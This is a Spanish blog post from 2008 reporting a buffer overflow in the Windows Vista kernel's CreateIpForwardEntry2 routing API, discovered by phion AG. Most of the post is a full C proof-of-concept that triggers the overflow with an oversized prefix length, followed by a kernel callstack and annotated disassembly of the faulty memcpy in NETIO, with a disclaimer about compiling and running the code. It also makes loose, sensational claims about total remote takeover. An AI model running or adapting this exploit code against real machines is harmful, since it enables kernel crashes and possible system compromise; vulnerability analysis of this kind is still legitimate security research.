Vulnerabilidad en el Nucleo de Windows Vista

Posicionamiento, Software Add comments
(Stewart.es) Descubierta Vulnerabilidad del nucleo de Windows Vista, el cual proca el desbordamiento del Bufer y ejecutar codigo arbitrario, por lo que podrian tomar control total de tu terminal, y usar todos los recursos.

Este Bug de seguridad permitiria el control de tus dispositivos como Impresora, etc(como siempre se tienen acceso a ellos en ataques remotos de este tipo), por lo que no se sorprendan qye hagan uso de esta vulnerabilidad para el control y transmision de troyanos (hasta incluso la impresion remota de pornografia travesti en su PC, lo cual seria grave pues tu enamorada o mujer podria pensar cosas de ti o que si eres chica pensaria que eres machona. o en su defecto, no pasaria a mayores). Como en nuestra nota anterior un SP2 para windows vista esta en Beta, y la version final aun no sale se espera que se corriga este grave error de seguridad. La empresa phion AG, que se dedica a desarrollar soluciones de seguridad, ha descubierto una vulnerabilidad en el núcleo de Windows Vista que podría ser explotada para provocar un desbordamiento de búfer y ejecutar código arbitrario. Un atacante podría tomar el control total del equipo aprovechando el fallo. De acuerdo con la empresa, la vulnerabilidad se debe a un error en el sistema de red al procesar la función CreateIpForwardEntry2 API. Para poder explotar el problema es necesario que el atacante cuenta con privilegios de administrador, sin embargo, hay posibilidades de que el fallo pueda explotarse remotamente. Se ha comprobado que Windows Vista Enterprise y Ultimate (32/64 bits) son propensos a este problema de seguridad, pero se asume que también el resto de las versiones de Windows Vista: Business, Home y Home Premium. Microsoft ya está enterado de todo esto, desde el pasado mes de octubre phion lo reportó al gigante de Redmond. Sin embargo, parece que en la empresa no están muy preocupados por esta vulnerabilidad crítica, y es que han señalado que será hasta el lanzamiento de Windows Vista SP2 cuando se corrija el fallo Advertencia —————————– No nos hacemos responsables por la compilacion ni ejecucion del codigo adjunto (x)Quito toda resposabilidad a Stewart.es Stewart Dominios por la ejecucion o compilacion del codigo adjunto (x)Acepto #define _WIN32_WINNT 0×0600 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { DWORD dwStatus; MIB_IPFORWARD_ROW2 route; if (argc != 3) { printf(”Uso: %s <ifNum> <numOfBits>\n\n”, argv[0]); return -1; } InitializeIpForwardEntry(&route); route.InterfaceIndex = atoi(argv[1]); route.DestinationPrefix.Prefix.si_family = AF_INET; route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr(”1.2.3.0″); route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; route.DestinationPrefix.PrefixLength = atoi(argv[2]); route.NextHop.Ipv4.sin_addr.s_addr = inet_addr(”11.22.33.44″); route.NextHop.Ipv4.sin_family = AF_INET; route.SitePrefixLength = 0; route.Protocol = MIB_IPPROTO_NETMGMT; route.Origin = NlroManual; route.ValidLifetime = 0xffffffff; route.PreferredLifetime = 0xffffffff; route.Metric = 1; dwStatus = CreateIpForwardEntry2(&route); return dwStatus; } PARTE 2 - La funcion netio!PtpCreateTrieNode asigna 32 bytes usando el metodo ExAllocatePoolWithTag, como buffer. la siguiente funcion netio!PtpCopyPartialKeys trata de copiar la memoria en el buffer previamente asignado con desplazamiento de 24 bytes y el valor ilegal de bits a copiar. como el valor es mayot a 8 bytes la cantidad de memoria copiada es mayor a la asignada, saturando y desborando la memoria del nucleo. ======== Parametros ======== CreateIpForwardEntry2 was called with DestinationPrefix.Prefix = “1.2.3.4″ DestinationPrefix.PrefixLength = 0xEE ======== Callstack ======== 934b7a00 85a1b1bb 00000020 837100ee 934b7ac4 NETIO!PtpCreateTrieNode+0×20 934b7a34 85a6211f 842f4ed0 934b7ac4 837100ee NETIO!PtInsertEntry+0×59 934b7a5c 85aa6fe4 00000000 934b7ac4 837100ee tcpip!IppCreateUnicastRoute+0xf0 934b7ae8 85a5d121 00000001 858b6278 84d74ce8 tcpip!IppValidateSetAllRouteParameters+0×217 934b7b64 85a18a29 836c134c 00000000 92a84a70 tcpip!Ipv4SetAllRouteParameters+0×1d1 934b7ba4 8a844551 00000001 92a326b4 00000000 NETIO!NsiSetAllParametersEx+0xbd 934b7bf0 8a844eb8 00000000 836c1330 836c1378 nsiproxy!NsippSetAllParameters+0×1b1 934b7c14 8a844f91 92a32601 00000000 8371d290 nsiproxy!NsippDispatchDeviceControl+0×88 934b7c2c 818f0053 8590b448 92a32698 92a32698 nsiproxy!NsippDispatch+0×33 934b7c44 81a80515 8371d290 92a32698 92a32708 nt!IofCallDriver+0×63 934b7c64 81a80cba 8590b448 8371d290 0027f700 nt!IopSynchronousServiceTail+0×1d9 934b7d00 81a6a98e 8590b448 92a32698 00000000 nt!IopXxxControlFile+0×6b7 934b7d34 8188ba7a 00000044 00000048 00000000 nt!NtDeviceIoControlFile+0×2a 934b7d34 77529a94 00000044 00000048 00000000 nt!KiFastCallEntry+0×12a 0027f68c 77528444 777214b9 00000044 00000048 ntdll!KiFastSystemCallRet 0027f690 777214b9 00000044 00000048 00000000 ntdll!ZwDeviceIoControlFile+0xc ======== Desensamblados ======== NETIO!PtpCreateTrieNode: mov edi,edi push ebp mov ebp,esp push edi mov edi,dword ptr [ebp+8] lea eax,[ebp+8] push eax push dword ptr [edi+4] push 18h call NETIO!RtlULongAdd (85a1675d) test eax,eax jl NETIO!PtpCreateTrieNode+0×1b push esi push 74704D4Eh push dword ptr [ebp+8] ; = 0×00000020 push 0 call ExAllocatePoolWithTag ; eax = ExAllocatePoolWithTag(0, 0×20, 0×74704D4E, esi); mov esi,eax ; = 0×83716380 allocated buffer address test esi,esi je NETIO!PtpCreateTrieNode+0×6d push dword ptr [ebp+8] ; = 0×00000020 push 0 push esi ; 0×83716380 allocated buffer address call NETIO!memset (85a10543) ; memset((char*)0×83716380, 0, 0×20) mov eax,dword ptr [ebp+14h] mov dword ptr [esi],eax mov eax,dword ptr [ebp+18h] mov dword ptr [esi+0Ch],eax mov dword ptr [eax],esi mov eax,dword ptr [ebp+0Ch] and word ptr [esi+14h],0 add esp,0Ch push eax ; = 0×837100ee ; the lower word contains our PrefixLength (0×00EE) push dword ptr [ebp+10h] ; = 0×934b7ac4 contains our ip ; 934b7ac4 01 02 03 04 00 00 00 00-00 13 6c 83 48 7b 4b 93 ; 934b7ad4 78 62 8b 85 00 13 6c 83-48 13 6c 83 78 00 8b 85 ; 934b7ae4 b9 9a fb 16 64 7b 4b 93-21 d1 a5 85 01 00 00 00 mov word ptr [esi+16h],ax lea eax,[esi+18h] ; esi unchanged, holds the alloc. buffer address (=0×83716380) push eax ; = 0×83716398 add offset of 0×18 bytes to the allocated buffer call NETIO!PtpCopyPartialKeys ; PtpCopyPartialKeys(0×83716380+0×18, 0×934b7ac4, PrefixLength) inc dword ptr [edi+8] mov eax,esi pop esi pop edi pop ebp ret 14h nop nop nop nop nop NETIO!PtpCopyPartialKeys: mov edi,edi push ebp mov ebp,esp movzx eax,word ptr [ebp+10h] ; = 0×00ee PrefixLength in bits add eax,7 shr eax,3 push eax ; 0×0000001e PrefixLength in bytes push dword ptr [ebp+0Ch] ; 0×934b7ac4 src buffer push dword ptr [ebp+8] ; 0×83716398 dst buffer ; 83716398 00 00 00 00 00 00 00 00-05 00 06 04 45 76 65 ee ; 837163a8 01 00 00 00 01 00 00 00-78 81 15 83 00 00 00 00 ; 837163b8 18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00 ; —————————————————————— call NETIO!memcpy ; memcpy(0×83716398, 0×934b7ac4, 0×0000001e) // BUFFER OVERFLOW !!!! ; —————————————————————— ; 83716398 01 02 03 04 00 00 00 00-00 13 6c 83 48 7b 4b 93 ; 837163a8 78 62 8b 85 00 13 6c 83-48 13 6c 83 78 00 00 00 ; 837163b8 18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00 ; compare the byte values with the src buffer printed before add esp,0Ch pop ebp ret 0Ch neg ecx push ecx Saludos. John Stewart —– Stewart.es http://www.stewart.es/ Stewart Dominios

Acerca del Author

John Stewart Di
Website : http://www.internet.com.pe/
Articulo Publicado :3 Diciembre 2008
Este usuario Publico :215 Articulos
Administrador de Redes, desarrollador de sitios web con Php, Mysql, Oracle, PgSQL, Flash, Ajax, Javascript, Aplicaciones para Moviles y compatibilidad de sitios con W3C.

Leave a Reply

This is a captcha-picture. It is used to prevent mass-access by robots. (see: www.captcha.net)

Debes leer y teclear los 5 caracteres entre 0..9 y A..F, y enviar la respuesta.

  

No puedo leer esto. Por favor, generar un

WP Theme & Icons by N.Design Studio
Entries RSS Comments RSS Log in
Cerrar
Enviar por Correo